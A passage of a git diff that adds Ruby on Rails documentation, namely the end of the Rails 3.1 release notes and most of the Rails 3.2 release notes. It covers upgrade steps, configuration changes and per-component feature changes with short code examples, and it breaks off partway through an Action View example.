+If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3 in case you haven't and make sure your application still runs as expected before attempting to update to Rails 3.1. Then take heed of the following changes:
+
+### Rails 3.1 requires at least Ruby 1.8.7
+
+Rails 3.1 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.1 is also compatible with Ruby 1.9.2.
+
+TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x jump on 1.9.2 for smooth sailing.
+
+### What to update in your apps
+
+The following changes are meant for upgrading your application to Rails 3.1.3, the latest 3.1.x version of Rails.
+
+#### Gemfile
+
+Make the following changes to your `Gemfile`.
+
+```ruby
+gem 'rails', '= 3.1.3'
+gem 'mysql2'
+
+# Needed for the new asset pipeline
+group :assets do
+ gem 'sass-rails', "~> 3.1.5"
+ gem 'coffee-rails', "~> 3.1.1"
+ gem 'uglifier', ">= 1.0.3"
+end
+
+# jQuery is the default JavaScript library in Rails 3.1
+gem 'jquery-rails'
+```
+
+#### config/application.rb
+
+* The asset pipeline requires the following additions:
+
+ ```ruby
+ config.assets.enabled = true
+ config.assets.version = '1.0'
+ ```
+
+* If your application is using the "/assets" route for a resource you may want change the prefix used for assets to avoid conflicts:
+
+ ```ruby
+ # Defaults to '/assets'
+ config.assets.prefix = '/asset-files'
+ ```
+
+#### config/environments/development.rb
+
+* Remove the RJS setting `config.action_view.debug_rjs = true`.
+
+* Add the following, if you enable the asset pipeline.
+
+ ```ruby
+ # Do not compress assets
+ config.assets.compress = false
+
+ # Expands the lines which load the assets
+ config.assets.debug = true
+ ```
+
+#### config/environments/production.rb
+
+* Again, most of the changes below are for the asset pipeline. You can read more about these in the [Asset Pipeline](asset_pipeline.html) guide.
+
+ ```ruby
+ # Compress JavaScripts and CSS
+ config.assets.compress = true
+
+ # Don't fallback to assets pipeline if a precompiled asset is missed
+ config.assets.compile = false
+
+ # Generate digests for assets URLs
+ config.assets.digest = true
+
+ # Defaults to Rails.root.join("public/assets")
+ # config.assets.manifest = YOUR_PATH
+
+ # Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
+ # config.assets.precompile `= %w( search.js )
+
+
+ # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
+ # config.force_ssl = true
+ ```
+
+#### config/environments/test.rb
+
+```ruby
+# Configure static asset server for tests with Cache-Control for performance
+config.serve_static_assets = true
+config.static_cache_control = "public, max-age=3600"
+```
+
+#### config/initializers/wrap_parameters.rb
+
+* Add this file with the following contents, if you wish to wrap parameters into a nested hash. This is on by default in new applications.
+
+ ```ruby
+ # Be sure to restart your server when you modify this file.
+ # This file contains settings for ActionController::ParamsWrapper which
+ # is enabled by default.
+
+ # Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array.
+ ActiveSupport.on_load(:action_controller) do
+ wrap_parameters :format => [:json]
+ end
+
+ # Disable root element in JSON by default.
+ ActiveSupport.on_load(:active_record) do
+ self.include_root_in_json = false
+ end
+ ```
+
+#### Remove :cache and :concat options in asset helpers references in views
+
+* With the Asset Pipeline the :cache and :concat options aren't used anymore, delete these options from your views.
+
+Creating a Rails 3.1 application
+--------------------------------
+
+```bash
+# You should have the 'rails' rubygem installed
+$ rails new myapp
+$ cd myapp
+```
+
+### Vendoring Gems
+
+Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/carlhuda/bundler) gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
+
+More information: - [bundler homepage](http://gembundler.com)
+
+### Living on the Edge
+
+`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command. If you want to bundle straight from the Git repository, you can pass the `--edge` flag:
+
+```bash
+$ rails new myapp --edge
+```
+
+If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag:
+
+```bash
+$ ruby /path/to/rails/railties/bin/rails new myapp --dev
+```
+
+Rails Architectural Changes
+---------------------------
+
+### Assets Pipeline
+
+The major change in Rails 3.1 is the Assets Pipeline. It makes CSS and JavaScript first-class code citizens and enables proper organization, including use in plugins and engines.
+
+The assets pipeline is powered by [Sprockets](https://github.com/sstephenson/sprockets) and is covered in the [Asset Pipeline](asset_pipeline.html) guide.
+
+### HTTP Streaming
+
+HTTP Streaming is another change that is new in Rails 3.1. This lets the browser download your stylesheets and JavaScript files while the server is still generating the response. This requires Ruby 1.9.2, is opt-in and requires support from the web server as well, but the popular combo of nginx and unicorn is ready to take advantage of it.
+
+### Default JS library is now jQuery
+
+jQuery is the default JavaScript library that ships with Rails 3.1. But if you use Prototype, it's simple to switch.
+
+```bash
+$ rails new myapp -j prototype
+```
+
+### Identity Map
+
+Active Record has an Identity Map in Rails 3.1. An identity map keeps previously instantiated records and returns the object associated with the record if accessed again. The identity map is created on a per-request basis and is flushed at request completion.
+
+Rails 3.1 comes with the identity map turned off by default.
+
+Railties
+--------
+
+* jQuery is the new default JavaScript library.
+
+* jQuery and Prototype are no longer vendored and is provided from now on by the jquery-rails and prototype-rails gems.
+
+* The application generator accepts an option `-j` which can be an arbitrary string. If passed "foo", the gem "foo-rails" is added to the `Gemfile`, and the application JavaScript manifest requires "foo" and "foo_ujs". Currently only "prototype-rails" and "jquery-rails" exist and provide those files via the asset pipeline.
+
+* Generating an application or a plugin runs `bundle install` unless `--skip-gemfile` or `--skip-bundle` is specified.
+
+* The controller and resource generators will now automatically produce asset stubs (this can be turned off with `--skip-assets`). These stubs will use CoffeeScript and Sass, if those libraries are available.
+
+* Scaffold and app generators use the Ruby 1.9 style hash when running on Ruby 1.9. To generate old style hash, `--old-style-hash` can be passed.
+
+* Scaffold controller generator creates format block for JSON instead of XML.
+
+* Active Record logging is directed to STDOUT and shown inline in the console.
+
+* Added `config.force_ssl` configuration which loads `Rack::SSL` middleware and force all requests to be under HTTPS protocol.
+
+* Added `rails plugin new` command which generates a Rails plugin with gemspec, tests and a dummy application for testing.
+
+* Added `Rack::Etag` and `Rack::ConditionalGet` to the default middleware stack.
+
+* Added `Rack::Cache` to the default middleware stack.
+
+* Engines received a major update - You can mount them at any path, enable assets, run generators etc.
+
+Action Pack
+-----------
+
+### Action Controller
+
+* A warning is given out if the CSRF token authenticity cannot be verified.
+
+* Specify `force_ssl` in a controller to force the browser to transfer data via HTTPS protocol on that particular controller. To limit to specific actions, `:only` or `:except` can be used.
+
+* Sensitive query string parameters specified in `config.filter_parameters` will now be filtered out from the request paths in the log.
+
+* URL parameters which return `nil` for `to_param` are now removed from the query string.
+
+* Added `ActionController::ParamsWrapper` to wrap parameters into a nested hash, and will be turned on for JSON request in new applications by default. This can be customized in `config/initializers/wrap_parameters.rb`.
+
+* Added `config.action_controller.include_all_helpers`. By default `helper :all` is done in `ActionController::Base`, which includes all the helpers by default. Setting `include_all_helpers` to `false` will result in including only application_helper and the helper corresponding to controller (like foo_helper for foo_controller).
+
+* `url_for` and named url helpers now accept `:subdomain` and `:domain` as options.
+
+* Added `Base.http_basic_authenticate_with` to do simple http basic authentication with a single class method call.
+
+ ```ruby
+ class PostsController < ApplicationController
+ USER_NAME, PASSWORD = "dhh", "secret"
+
+ before_filter :authenticate, :except => [ :index ]
+
+ def index
+ render :text => "Everyone can see me!"
+ end
+
+ def edit
+ render :text => "I'm only accessible if you know the password"
+ end
+
+ private
+ def authenticate
+ authenticate_or_request_with_http_basic do |user_name, password|
+ user_name == USER_NAME && password == PASSWORD
+ end
+ end
+ end
+ ```
+
+ ..can now be written as
+
+ ```ruby
+ class PostsController < ApplicationController
+ http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index
+
+ def index
+ render :text => "Everyone can see me!"
+ end
+
+ def edit
+ render :text => "I'm only accessible if you know the password"
+ end
+ end
+ ```
+
+* Added streaming support, you can enable it with:
+
+ ```ruby
+ class PostsController < ActionController::Base
+ stream
+ end
+ ```
+
+ You can restrict it to some actions by using `:only` or `:except`. Please read the docs at [`ActionController::Streaming`](http://api.rubyonrails.org/classes/ActionController/Streaming.html) for more information.
+
+* The redirect route method now also accepts a hash of options which will only change the parts of the url in question, or an object which responds to call, allowing for redirects to be reused.
+
+### Action Dispatch
+
+* `config.action_dispatch.x_sendfile_header` now defaults to `nil` and `config/environments/production.rb` doesn't set any particular value for it. This allows servers to set it through `X-Sendfile-Type`.
+
+* `ActionDispatch::MiddlewareStack` now uses composition over inheritance and is no longer an array.
+
+* Added `ActionDispatch::Request.ignore_accept_header` to ignore accept headers.
+
+* Added `Rack::Cache` to the default stack.
+
+* Moved etag responsibility from `ActionDispatch::Response` to the middleware stack.
+
+* Rely on `Rack::Session` stores API for more compatibility across the Ruby world. This is backwards incompatible since `Rack::Session` expects `#get_session` to accept four arguments and requires `#destroy_session` instead of simply `#destroy`.
+
+* Template lookup now searches further up in the inheritance chain.
+
+### Action View
+
+* Added an `:authenticity_token` option to `form_tag` for custom handling or to omit the token by passing `:authenticity_token => false`.
+
+* Created `ActionView::Renderer` and specified an API for `ActionView::Context`.
+
+* In place `SafeBuffer` mutation is prohibited in Rails 3.1.
+
+* Added HTML5 `button_tag` helper.
+
+* `file_field` automatically adds `:multipart => true` to the enclosing form.
+
+* Added a convenience idiom to generate HTML5 data-* attributes in tag helpers from a `:data` hash of options:
+
+ ```ruby
+ tag("div", :data => {:name => 'Stephen', :city_state => %w(Chicago IL)})
+ # => <div data-name="Stephen" data-city-state="["Chicago","IL"]" />
+ ```
+
+Keys are dasherized. Values are JSON-encoded, except for strings and symbols.
+
+* `csrf_meta_tag` is renamed to `csrf_meta_tags` and aliases `csrf_meta_tag` for backwards compatibility.
+
+* The old template handler API is deprecated and the new API simply requires a template handler to respond to call.
+
+* rhtml and rxml are finally removed as template handlers.
+
+* `config.action_view.cache_template_loading` is brought back which allows to decide whether templates should be cached or not.
+
+* The submit form helper does not generate an id "object_name_id" anymore.
+
+* Allows `FormHelper#form_for` to specify the `:method` as a direct option instead of through the `:html` hash. `form_for(@post, remote: true, method: :delete)` instead of `form_for(@post, remote: true, html: { method: :delete })`.
+
+* Provided `JavaScriptHelper#j()` as an alias for `JavaScriptHelper#escape_javascript()`. This supersedes the `Object#j()` method that the JSON gem adds within templates using the JavaScriptHelper.
+
+* Allows AM/PM format in datetime selectors.
+
+* `auto_link` has been removed from Rails and extracted into the [rails_autolink gem](https://github.com/tenderlove/rails_autolink)
+
+Active Record
+-------------
+
+* Added a class method `pluralize_table_names` to singularize/pluralize table names of individual models. Previously this could only be set globally for all models through `ActiveRecord::Base.pluralize_table_names`.
+
+ ```ruby
+ class User < ActiveRecord::Base
+ self.pluralize_table_names = false
+ end
+ ```
+
+* Added block setting of attributes to singular associations. The block will get called after the instance is initialized.
+
+ ```ruby
+ class User < ActiveRecord::Base
+ has_one :account
+ end
+
+ user.build_account{ |a| a.credit_limit = 100.0 }
+ ```
+
+* Added `ActiveRecord::Base.attribute_names` to return a list of attribute names. This will return an empty array if the model is abstract or the table does not exist.
+
+* CSV Fixtures are deprecated and support will be removed in Rails 3.2.0.
+
+* `ActiveRecord#new`, `ActiveRecord#create` and `ActiveRecord#update_attributes` all accept a second hash as an option that allows you to specify which role to consider when assigning attributes. This is built on top of Active Model's new mass assignment capabilities:
+
+ ```ruby
+ class Post < ActiveRecord::Base
+ attr_accessible :title
+ attr_accessible :title, :published_at, :as => :admin
+ end
+
+ Post.new(params[:post], :as => :admin)
+ ```
+
+* `default_scope` can now take a block, lambda, or any other object which responds to call for lazy evaluation.
+
+* Default scopes are now evaluated at the latest possible moment, to avoid problems where scopes would be created which would implicitly contain the default scope, which would then be impossible to get rid of via Model.unscoped.
+
+* PostgreSQL adapter only supports PostgreSQL version 8.2 and higher.
+
+* `ConnectionManagement` middleware is changed to clean up the connection pool after the rack body has been flushed.
+
+* Added an `update_column` method on Active Record. This new method updates a given attribute on an object, skipping validations and callbacks. It is recommended to use `update_attributes` or `update_attribute` unless you are sure you do not want to execute any callback, including the modification of the `updated_at` column. It should not be called on new records.
+
+* Associations with a `:through` option can now use any association as the through or source association, including other associations which have a `:through` option and `has_and_belongs_to_many` associations.
+
+* The configuration for the current database connection is now accessible via `ActiveRecord::Base.connection_config`.
+
+* limits and offsets are removed from COUNT queries unless both are supplied.
+
+ ```ruby
+ People.limit(1).count # => 'SELECT COUNT(*) FROM people'
+ People.offset(1).count # => 'SELECT COUNT(*) FROM people'
+ People.limit(1).offset(1).count # => 'SELECT COUNT(*) FROM people LIMIT 1 OFFSET 1'
+ ```
+
+* `ActiveRecord::Associations::AssociationProxy` has been split. There is now an `Association` class (and subclasses) which are responsible for operating on associations, and then a separate, thin wrapper called `CollectionProxy`, which proxies collection associations. This prevents namespace pollution, separates concerns, and will allow further refactorings.
+
+* Singular associations (`has_one`, `belongs_to`) no longer have a proxy and simply returns the associated record or `nil`. This means that you should not use undocumented methods such as `bob.mother.create` - use `bob.create_mother` instead.
+
+* Support the `:dependent` option on `has_many :through` associations. For historical and practical reasons, `:delete_all` is the default deletion strategy employed by `association.delete(*records)`, despite the fact that the default strategy is `:nullify` for regular has_many. Also, this only works at all if the source reflection is a belongs_to. For other situations, you should directly modify the through association.
+
+* The behavior of `association.destroy` for `has_and_belongs_to_many` and `has_many :through` is changed. From now on, 'destroy' or 'delete' on an association will be taken to mean 'get rid of the link', not (necessarily) 'get rid of the associated records'.
+
+* Previously, `has_and_belongs_to_many.destroy(*records)` would destroy the records themselves. It would not delete any records in the join table. Now, it deletes the records in the join table.
+
+* Previously, `has_many_through.destroy(*records)` would destroy the records themselves, and the records in the join table. [Note: This has not always been the case; previous version of Rails only deleted the records themselves.] Now, it destroys only the records in the join table.
+
+* Note that this change is backwards-incompatible to an extent, but there is unfortunately no way to 'deprecate' it before changing it. The change is being made in order to have consistency as to the meaning of 'destroy' or 'delete' across the different types of associations. If you wish to destroy the records themselves, you can do `records.association.each(&:destroy)`.
+
+* Add `:bulk => true` option to `change_table` to make all the schema changes defined in a block using a single ALTER statement.
+
+ ```ruby
+ change_table(:users, :bulk => true) do |t|
+ t.string :company_name
+ t.change :birthdate, :datetime
+ end
+ ```
+
+* Removed support for accessing attributes on a `has_and_belongs_to_many` join table. `has_many :through` needs to be used.
+
+* Added a `create_association!` method for `has_one` and `belongs_to` associations.
+
+* Migrations are now reversible, meaning that Rails will figure out how to reverse your migrations. To use reversible migrations, just define the `change` method.
+
+ ```ruby
+ class MyMigration < ActiveRecord::Migration
+ def change
+ create_table(:horses) do |t|
+ t.column :content, :text
+ t.column :remind_at, :datetime
+ end
+ end
+ end
+ ```
+
+* Some things cannot be automatically reversed for you. If you know how to reverse those things, you should define `up` and `down` in your migration. If you define something in change that cannot be reversed, an `IrreversibleMigration` exception will be raised when going down.
+
+* Migrations now use instance methods rather than class methods:
+
+ ```ruby
+ class FooMigration < ActiveRecord::Migration
+ def up # Not self.up
+ ...
+ end
+ end
+ ```
+
+* Migration files generated from model and constructive migration generators (for example, add_name_to_users) use the reversible migration's `change` method instead of the ordinary `up` and `down` methods.
+
+* Removed support for interpolating string SQL conditions on associations. Instead, a proc should be used.
+
+ ```ruby
+ has_many :things, :conditions => 'foo = #{bar}' # before
+ has_many :things, :conditions => proc { "foo = #{bar}" } # after
+ ```
+
+ Inside the proc, `self` is the object which is the owner of the association, unless you are eager loading the association, in which case `self` is the class which the association is within.
+
+ You can have any "normal" conditions inside the proc, so the following will work too:
+
+ ```ruby
+ has_many :things, :conditions => proc { ["foo = ?", bar] }
+ ```
+
+* Previously `:insert_sql` and `:delete_sql` on `has_and_belongs_to_many` association allowed you to call 'record' to get the record being inserted or deleted. This is now passed as an argument to the proc.
+
+* Added `ActiveRecord::Base#has_secure_password` (via `ActiveModel::SecurePassword`) to encapsulate dead-simple password usage with BCrypt encryption and salting.
+
+ ```ruby
+ # Schema: User(name:string, password_digest:string, password_salt:string)
+ class User < ActiveRecord::Base
+ has_secure_password
+ end
+ ```
+
+* When a model is generated `add_index` is added by default for `belongs_to` or `references` columns.
+
+* Setting the id of a `belongs_to` object will update the reference to the object.
+
+* `ActiveRecord::Base#dup` and `ActiveRecord::Base#clone` semantics have changed to closer match normal Ruby dup and clone semantics.
+
+* Calling `ActiveRecord::Base#clone` will result in a shallow copy of the record, including copying the frozen state. No callbacks will be called.
+
+* Calling `ActiveRecord::Base#dup` will duplicate the record, including calling after initialize hooks. Frozen state will not be copied, and all associations will be cleared. A duped record will return `true` for `new_record?`, have a `nil` id field, and is saveable.
+
+* The query cache now works with prepared statements. No changes in the applications are required.
+
+Active Model
+------------
+
+* `attr_accessible` accepts an option `:as` to specify a role.
+
+* `InclusionValidator`, `ExclusionValidator`, and `FormatValidator` now accepts an option which can be a proc, a lambda, or anything that respond to `call`. This option will be called with the current record as an argument and returns an object which respond to `include?` for `InclusionValidator` and `ExclusionValidator`, and returns a regular expression object for `FormatValidator`.
+
+* Added `ActiveModel::SecurePassword` to encapsulate dead-simple password usage with BCrypt encryption and salting.
+
+* `ActiveModel::AttributeMethods` allows attributes to be defined on demand.
+
+* Added support for selectively enabling and disabling observers.
+
+* Alternate `I18n` namespace lookup is no longer supported.
+
+Active Resource
+---------------
+
+* The default format has been changed to JSON for all requests. If you want to continue to use XML you will need to set `self.format = :xml` in the class. For example,
+
+ ```ruby
+ class User < ActiveResource::Base
+ self.format = :xml
+ end
+ ```
+
+Active Support
+--------------
+
+* `ActiveSupport::Dependencies` now raises `NameError` if it finds an existing constant in `load_missing_constant`.
+
+* Added a new reporting method `Kernel#quietly` which silences both `STDOUT` and `STDERR`.
+
+* Added `String#inquiry` as a convenience method for turning a String into a `StringInquirer` object.
+
+* Added `Object#in?` to test if an object is included in another object.
+
+* `LocalCache` strategy is now a real middleware class and no longer an anonymous class.
+
+* `ActiveSupport::Dependencies::ClassCache` class has been introduced for holding references to reloadable classes.
+
+* `ActiveSupport::Dependencies::Reference` has been refactored to take direct advantage of the new `ClassCache`.
+
+* Backports `Range#cover?` as an alias for `Range#include?` in Ruby 1.8.
+
+* Added `weeks_ago` and `prev_week` to Date/DateTime/Time.
+
+* Added `before_remove_const` callback to `ActiveSupport::Dependencies.remove_unloadable_constants!`.
+
+Deprecations:
+
+* `ActiveSupport::SecureRandom` is deprecated in favor of `SecureRandom` from the Ruby standard library.
+
+Credits
+-------
+
+See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.
+
+Rails 3.1 Release Notes were compiled by [Vijay Dev](https://github.com/vijaydev.)
diff --git a/guides/source/3_2_release_notes.md b/guides/source/3_2_release_notes.md
new file mode 100644
index 0000000..68a47be
--- /dev/null
+++ b/guides/source/3_2_release_notes.md
@@ -0,0 +1,565 @@
+Ruby on Rails 3.2 Release Notes
+===============================
+
+Highlights in Rails 3.2:
+
+* Faster Development Mode
+* New Routing Engine
+* Automatic Query Explains
+* Tagged Logging
+
+These release notes cover the major changes, but do not include each bug-fix and changes. If you want to see everything, check out the [list of commits](https://github.com/rails/rails/commits/3-2-stable) in the main Rails repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 3.2
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.1 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 3.2. Then take heed of the following changes:
+
+### Rails 3.2 requires at least Ruby 1.8.7
+
+Rails 3.2 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.2 is also compatible with Ruby 1.9.2.
+
+TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing.
+
+### What to update in your apps
+
+* Update your Gemfile to depend on
+ * `rails = 3.2.0`
+ * `sass-rails ~> 3.2.3`
+ * `coffee-rails ~> 3.2.1`
+ * `uglifier >= 1.0.3`
+
+* Rails 3.2 deprecates `vendor/plugins` and Rails 4.0 will remove them completely. You can start replacing these plugins by extracting them as gems and adding them in your Gemfile. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`.
+
+* There are a couple of new configuration changes you'd want to add in `config/environments/development.rb`:
+
+ ```ruby
+ # Raise exception on mass assignment protection for Active Record models
+ config.active_record.mass_assignment_sanitizer = :strict
+
+ # Log the query plan for queries taking more than this (works
+ # with SQLite, MySQL, and PostgreSQL)
+ config.active_record.auto_explain_threshold_in_seconds = 0.5
+ ```
+
+ The `mass_assignment_sanitizer` config also needs to be added in `config/environments/test.rb`:
+
+ ```ruby
+ # Raise exception on mass assignment protection for Active Record models
+ config.active_record.mass_assignment_sanitizer = :strict
+ ```
+
+### What to update in your engines
+
+Replace the code beneath the comment in `script/rails` with the following content:
+
+```ruby
+ENGINE_ROOT = File.expand_path('../..', __FILE__)
+ENGINE_PATH = File.expand_path('../../lib/your_engine_name/engine', __FILE__)
+
+require 'rails/all'
+require 'rails/engine/commands'
+```
+
+Creating a Rails 3.2 application
+--------------------------------
+
+```bash
+# You should have the 'rails' rubygem installed
+$ rails new myapp
+$ cd myapp
+```
+
+### Vendoring Gems
+
+Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/carlhuda/bundler) gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
+
+More information: [Bundler homepage](http://gembundler.com)
+
+### Living on the Edge
+
+`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command. If you want to bundle straight from the Git repository, you can pass the `--edge` flag:
+
+```bash
+$ rails new myapp --edge
+```
+
+If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag:
+
+```bash
+$ ruby /path/to/rails/railties/bin/rails new myapp --dev
+```
+
+Major Features
+--------------
+
+### Faster Development Mode & Routing
+
+Rails 3.2 comes with a development mode that's noticeably faster. Inspired by [Active Reload](https://github.com/paneq/active_reload), Rails reloads classes only when files actually change. The performance gains are dramatic on a larger application. Route recognition also got a bunch faster thanks to the new [Journey](https://github.com/rails/journey) engine.
+
+### Automatic Query Explains
+
+Rails 3.2 comes with a nice feature that explains queries generated by ARel by defining an `explain` method in `ActiveRecord::Relation`. For example, you can run something like `puts Person.active.limit(5).explain` and the query ARel produces is explained. This allows to check for the proper indexes and further optimizations.
+
+Queries that take more than half a second to run are *automatically* explained in the development mode. This threshold, of course, can be changed.
+
+### Tagged Logging
+
+When running a multi-user, multi-account application, it's a great help to be able to filter the log by who did what. TaggedLogging in Active Support helps in doing exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications.
+
+Documentation
+-------------
+
+From Rails 3.2, the Rails guides are available for the Kindle and free Kindle Reading Apps for the iPad, iPhone, Mac, Android, etc.
+
+Railties
+--------
+
+* Speed up development by only reloading classes if dependencies files changed. This can be turned off by setting `config.reload_classes_only_on_change` to false.
+
+* New applications get a flag `config.active_record.auto_explain_threshold_in_seconds` in the environments configuration files. With a value of `0.5` in `development.rb` and commented out in `production.rb`. No mention in `test.rb`.
+
+* Added `config.exceptions_app` to set the exceptions application invoked by the `ShowException` middleware when an exception happens. Defaults to `ActionDispatch::PublicExceptions.new(Rails.public_path)`.
+
+* Added a `DebugExceptions` middleware which contains features extracted from `ShowExceptions` middleware.
+
+* Display mounted engines' routes in `rake routes`.
+
+* Allow to change the loading order of railties with `config.railties_order` like:
+
+ ```ruby
+ config.railties_order = [Blog::Engine, :main_app, :all]
+ ```
+
+* Scaffold returns 204 No Content for API requests without content. This makes scaffold work with jQuery out of the box.
+
+* Update `Rails::Rack::Logger` middleware to apply any tags set in `config.log_tags` to `ActiveSupport::TaggedLogging`. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications.
+
+* Default options to `rails new` can be set in `~/.railsrc`. You can specify extra command-line arguments to be used every time 'rails new' runs in the `.railsrc` configuration file in your home directory.
+
+* Add an alias `d` for `destroy`. This works for engines too.
+
+* Attributes on scaffold and model generators default to string. This allows the following: `rails g scaffold Post title body:text author`
+
+* Allow scaffold/model/migration generators to accept "index" and "uniq" modifiers. For example,
+
+ ```ruby
+ rails g scaffold Post title:string:index author:uniq price:decimal{7,2}
+ ```
+
+ will create indexes for `title` and `author` with the latter being an unique index. Some types such as decimal accept custom options. In the example, `price` will be a decimal column with precision and scale set to 7 and 2 respectively.
+
+* Turn gem has been removed from default Gemfile.
+
+* Remove old plugin generator `rails generate plugin` in favor of `rails plugin new` command.
+
+* Remove old `config.paths.app.controller` API in favor of `config.paths["app/controller"]`.
+
+#### Deprecations
+
+* `Rails::Plugin` is deprecated and will be removed in Rails 4.0. Instead of adding plugins to `vendor/plugins` use gems or bundler with path or git dependencies.
+
+Action Mailer
+-------------
+
+* Upgraded `mail` version to 2.4.0.
+
+* Removed the old Action Mailer API which was deprecated since Rails 3.0.
+
+Action Pack
+-----------
+
+### Action Controller
+
+* Make `ActiveSupport::Benchmarkable` a default module for `ActionController::Base,` so the `#benchmark` method is once again available in the controller context like it used to be.
+
+* Added `:gzip` option to `caches_page`. The default option can be configured globally using `page_cache_compression`.
+
+* Rails will now use your default layout (such as "layouts/application") when you specify a layout with `:only` and `:except` condition, and those conditions fail.
+
+ ```ruby
+ class CarsController
+ layout 'single_car', :only => :show
+ end
+ ```
+
+ Rails will use 'layouts/single_car' when a request comes in :show action, and use 'layouts/application' (or 'layouts/cars', if exists) when a request comes in for any other actions.
+
+* form\_for is changed to use "#{action}\_#{as}" as the css class and id if `:as` option is provided. Earlier versions used "#{as}\_#{action}".
+
+* `ActionController::ParamsWrapper` on ActiveRecord models now only wrap `attr_accessible` attributes if they were set. If not, only the attributes returned by the class method `attribute_names` will be wrapped. This fixes the wrapping of nested attributes by adding them to `attr_accessible`.
+
+* Log "Filter chain halted as CALLBACKNAME rendered or redirected" every time a before callback halts.
+
+* `ActionDispatch::ShowExceptions` is refactored. The controller is responsible for choosing to show exceptions. It's possible to override `show_detailed_exceptions?` in controllers to specify which requests should provide debugging information on errors.
+
+* Responders now return 204 No Content for API requests without a response body (as in the new scaffold).
+
+* `ActionController::TestCase` cookies is refactored. Assigning cookies for test cases should now use `cookies[]`
+
+ ```ruby
+ cookies[:email] = 'user at example.com'
+ get :index
+ assert_equal 'user at example.com', cookies[:email]
+ ```
+
+ To clear the cookies, use `clear`.
+
+ ```ruby
+ cookies.clear
+ get :index
+ assert_nil cookies[:email]
+ ```
+
+ We now no longer write out HTTP_COOKIE and the cookie jar is persistent between requests so if you need to manipulate the environment for your test you need to do it before the cookie jar is created.
+
+* `send_file` now guesses the MIME type from the file extension if `:type` is not provided.
+
+* MIME type entries for PDF, ZIP and other formats were added.
+
+* Allow fresh_when/stale? to take a record instead of an options hash.
+
+* Changed log level of warning for missing CSRF token from `:debug` to `:warn`.
+
+* Assets should use the request protocol by default or default to relative if no request is available.
+
+#### Deprecations
+
+* Deprecated implied layout lookup in controllers whose parent had a explicit layout set:
+
+ ```ruby
+ class ApplicationController
+ layout "application"
+ end
+
+ class PostsController < ApplicationController
+ end
+ ```
+
+ In the example above, Posts controller will no longer automatically look up for a posts layout. If you need this functionality you could either remove `layout "application"` from `ApplicationController` or explicitly set it to `nil` in `PostsController`.
+
+* Deprecated `ActionController::UnknownAction` in favour of `AbstractController::ActionNotFound`.
+
+* Deprecated `ActionController::DoubleRenderError` in favour of `AbstractController::DoubleRenderError`.
+
+* Deprecated `method_missing` in favour of `action_missing` for missing actions.
+
+* Deprecated `ActionController#rescue_action`, `ActionController#initialize_template_class` and `ActionController#assign_shortcuts`.
+
+### Action Dispatch
+
+* Add `config.action_dispatch.default_charset` to configure default charset for `ActionDispatch::Response`.
+
+* Added `ActionDispatch::RequestId` middleware that'll make a unique X-Request-Id header available to the response and enables the `ActionDispatch::Request#uuid` method. This makes it easy to trace requests from end-to-end in the stack and to identify individual requests in mixed logs like Syslog.
+
+* The `ShowExceptions` middleware now accepts a exceptions application that is responsible to render an exception when the application fails. The application is invoked with a copy of the exception in `env["action_dispatch.exception"]` and with the `PATH_INFO` rewritten to the status code.
+
+* Allow rescue responses to be configured through a railtie as in `config.action_dispatch.rescue_responses`.
+
+#### Deprecations
+
+* Deprecated the ability to set a default charset at the controller level, use the new `config.action_dispatch.default_charset` instead.
+
+### Action View
+
+* Add `button_tag` support to `ActionView::Helpers::FormBuilder`. This support mimics the default behavior of `submit_tag`.
+
+ ```erb
+ <%= form_for @post do |f| %>
+ <%= f.button %>
+ <% end %>
+ ```
+
+* Date helpers accept a new option `:use_two_digit_numbers => true`, that renders select boxes for months and days with a leading zero without changing the respective values. For example, this is useful for displaying ISO 8601-style dates such as '2011-08-01'.
+
+* You can provide a namespace for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id.
+
+ ```erb
+ <%= form_for(@offer, :namespace => 'namespace') do |f| %>
+ <%= f.label :version, 'Version' %>:
+ <%= f.text_field :version %>
+ <% end %>
+ ```
+
+* Limit the number of options for `select_year` to 1000. Pass `:max_years_allowed` option to set your own limit.
+
+* `content_tag_for` and `div_for` can now take a collection of records. It will also yield the record as the first argument if you set a receiving argument in your block. So instead of having to do this:
+
+ ```ruby
+ @items.each do |item|
+ content_tag_for(:li, item) do
+ Title: <%= item.title %>
+ end
+ end
+ ```
+
+ You can do this:
+
+ ```ruby
+ content_tag_for(:li, @items) do |item|
